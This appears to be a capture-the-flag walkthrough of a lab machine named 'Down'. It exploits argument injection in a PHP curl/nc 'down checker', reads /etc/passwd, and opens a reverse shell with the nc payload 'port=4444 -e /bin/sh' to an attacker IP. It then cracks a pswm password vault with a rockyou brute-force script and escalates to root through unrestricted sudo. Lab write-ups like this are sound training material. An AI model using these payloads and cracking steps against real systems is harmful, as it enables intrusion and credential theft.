Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_ 256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Is it down or just me?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Besides the SSH port there’s only HTTP open.
Execution
Browsing to the web page reveals some kind of down monitor or check. It requires an URL as input and using my own IP generates a hit on my web server with user-agent curl/7.81.0
and a positive feedback on the check.
curl is the swiss-army-knife for anything web-related and can speak many protocols. Apparently the applications checks for the presence of http
or https
at the beginning of the string and produces an error otherwise. It’s possible to specify multiple URLs on the command line1 and maybe the check only works on the first one.
Adding the URL file:///etc/passwd
to the request in BurpSuite also retrieves the contents of the passwd
file. By retrieving the Apache2 configuration file at /etc/apache2/sites-enabled/000-default.conf
I can see the web root being set to /var/www/html
and I decide to read index.php
next.
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form id="urlForm" action="index.php?expertmode=tcp" method="POST">
<input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
<input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
<button type="submit">Is it refused?</button>
</form>';
} else {
echo '<h1>Is that website down, or is it just you?</h1>
<form id="urlForm" action="index.php" method="POST">
<input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
<button type="submit">Is it down?</button>
</form>';
}
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
}
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|',$url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1",$output,$rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
?>
The PHP code reveals another functionally called expertmode
that is triggered by setting the GET parameter exportmode=tcp
and supplying an IP and port as POST parameters, that are passed to nc
instead of curl and allow to check for open ports.
As already seen with the curl command the other endpoint is also vulnerable to parameter injection and nc can be used to gain a shell through -e
. Running the below requests grants me a shell as www-data
.
POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.10.73.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://10.10.73.129
DNT: 1
Connection: keep-alive
Referer: http://10.10.73.129/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
ip=10.10.10.10&port=4444+-e+/bin/sh
Privilege Escalation
Shell as aleks
The permissions on the home directory for aleks
allow me to list some of the contents. A find reveals files related to pswm, a simple command line password manager.
$ find /home/aleks
/home/aleks
/home/aleks/.bashrc
/home/aleks/.sudo_as_admin_successful
/home/aleks/.local
/home/aleks/.local/share
/home/aleks/.local/share/pswm
/home/aleks/.local/share/pswm/pswm
/home/aleks/.bash_history
/home/aleks/.cache
/home/aleks/.ssh
/home/aleks/.profile
/home/aleks/.bash_logout
$ cat /home/aleks/.local/share/pswm/pswm
e9<REDACTED>BQ==
Based on the source code I build a simple Python script to iterate through rockyou.txt
until the correct password is identified.
import cryptocode
CRYPTED='e9<REDACTED>BQ=='
def check(password: str) -> bool:
if result := cryptocode.decrypt(CRYPTED, password):
print(result)
return result
with open('/usr/share/wordlists/rockyou.txt') as f:
while not check(f.readline().strip()):
pass
It just takes a few moments and the script produces the desired output. It includes the password for SSH.
$ python bruteforce.py
pswm aleks f<REDACTED>r
aleks@down aleks 1<REDACTED>E
Shell as root
Checking the sudo privileges for aleks
shows the user can run anything as anyone including root
and I can just escalate my privileges this way.
$ sudo -l
Matching Defaults entries for aleks on down:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User aleks may run the following commands on down:
(ALL : ALL) ALL
$ sudo -s
root@down:/home/aleks# id
uid=0(root) gid=0(root) groups=0(root)
Attack Path
flowchart TD subgraph "Execution" A(Down Check) -->|Argument Injection| B(Local File Read) B -->|Retrieve Source Code| C(Discover expertmode) C -->|Argument Injection| D(Shell as www-data) end subgraph "Privilege Escalation" D -->|Access to Password Manager| E(Encryped Data) E -->|Bruteforce| F(Passwords for aleks) F -->|Sudo| G(Shell as root) end